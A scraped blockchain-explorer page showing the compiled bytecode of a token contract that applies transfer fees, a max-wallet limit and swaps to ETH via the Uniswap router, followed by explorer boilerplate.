4da565b90915550506001600160a01b0384163014801590610b4457506009546001600160a01b03858116911614155b8015610b5e57506009546001600160a01b03848116911614155b8015610b7857506008546001600160a01b03848116911614155b15610e3d57600954600160b01b900460ff168015610baf57506001600160a01b03841660009081526005602052604090205460ff16155b8015610bd457506001600160a01b03831660009081526005602052604090205460ff16155b15610c01576000610be5858561107e565b6001600160a01b03166000908152600460205260409020439055505b7f00000000000000000000000092f1299a82def11156dcd558895ac84b085dbae56001600160a01b0316846001600160a01b0316148015610c5f57506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b15610d0e57610c706009600a6114ac565b610c7e90633b9aca006114bb565b82610c9e856001600160a01b031660009081526001602052604090205490565b610ca891906114f1565b1115610d0e5760405162461bcd60e51b815260206004820152602f60248201527f546f6b656e3a207472616e7366657220696d706c6965732076696f6c6174696f60448201526e1b881bd9881b585e081dd85b1b195d608a1b6064820152608401610462565b30600090815260016020526040902054610d2885826110ab565b15610d3657610d3681610ee0565b60004790507f00000000000000000000000092f1299a82def11156dcd558895ac84b085dbae56001600160a01b0316856001600160a01b03161415610db1576009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610daf573d6000803e3d6000fd5b505b6000610dbd878661113f565b90508015610e3957610dcf81866114da565b30600090815260016020526040812080549297508392909190610df39084906114f1565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b5050505b6001600160a01b03831660009081526001602052604081208054849290610e659084906114f1565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610eb191815260200190565b60405180910390a36009546001600160a01b0316326001600160a01b03161415610eda57610eda005b50505050565b6009805460ff60a81b1916600160a81b179055610efc816111f7565b306000908152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d8452909152902054909150811115610f5a57610f5a30737a250d5630b4cf539739df2c5dacb4c659f2488d6106456009600a6114ac565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8f57610f8f611559565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110610fe357610fe3611559565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac9479061103b90859060009086903090429060040161156f565b600060405180830381600087803b15801561105557600080fd5b505af1158015611069573d6000803e3d6000fd5b50506009805460ff60a81b1916905550505050565b6000823b158061108d5750813b155b61109657600080fd5b823b156110a4575080610379565b5081610379565b600954600090600160a81b900460ff161580156110fa57507f00000000000000000000000092f1299a82def11156dcd558895ac84b085dbae56001600160a01b0316836001600160a01b031614155b801561111e575061110d6009600a6114ac565b61111b90633b9aca006114bb565b82115b8015611138575043600a54600161113591906114f1565b11155b9392505050565b6001600160a01b03821660009081526003602052604081205460ff16806111685750600a544311155b1561118b57606461117a6000846114bb565b6111849190611537565b9050610379565b6064600a546000146111e0577f00000000000000000000000092f1299a82def11156dcd558895ac84b085dbae56001600160a01b0316846001600160a01b0316146111d8576007546111e3565b6006546111e3565b60195b6111ed90846114bb565b6111389190611537565b60006112056009600a6114ac565b61121390633b9aca006114bb565b8211611238576112256009600a6114ac565b61123390633b9aca006114bb565b610379565b6112446009600a6114ac565b61037990633b9aca006114bb565b600060208083528351808285015260005b8181101561127f57858101830151858201604001528201611263565b81811115611291576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146112be57600080fd5b919050565b600080604083850312156112d657600080fd5b6112df836112a7565b946020939093013593505050565b6000602082840312156112ff57600080fd5b8135801515811461113857600080fd5b60008060006060848603121561132457600080fd5b61132d846112a7565b925061133b602085016112a7565b9150604084013590509250925092565b60006020828403121561135d57600080fd5b611138826112a7565b6000806040838503121561137957600080fd5b611382836112a7565b9150611390602084016112a7565b90509250929050565b6000602082840312156113ab57600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114035781600019048211156113e9576113e96113b2565b808516156113f657918102915b93841c93908002906113cd565b509250929050565b60008261141a57506001610379565b8161142757506000610379565b816001811461143d576002811461144757611463565b6001915050610379565b60ff841115611458576114586113b2565b50506001821b610379565b5060208310610133831016604e8410600b8410161715611486575081810a610379565b61149083836113c8565b80600019048211156114a4576114a46113b2565b029392505050565b600061113860ff84168361140b565b60008160001904831182151516156114d5576114d56113b2565b500290565b6000828210156114ec576114ec6113b2565b500390565b60008219821115611504576115046113b2565b500190565b60008060006060848603121561151e57600080fd5b8351925060208401519150604084015190509250925092565b60008261155457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115bf5784516001600160a01b03168352938301939183019160010161159a565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220363e14fa25c048a5bce3ec99001fd903fcb516bbe0fbb1e4ca074cd6acb5793864736f6c634300080b0033

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.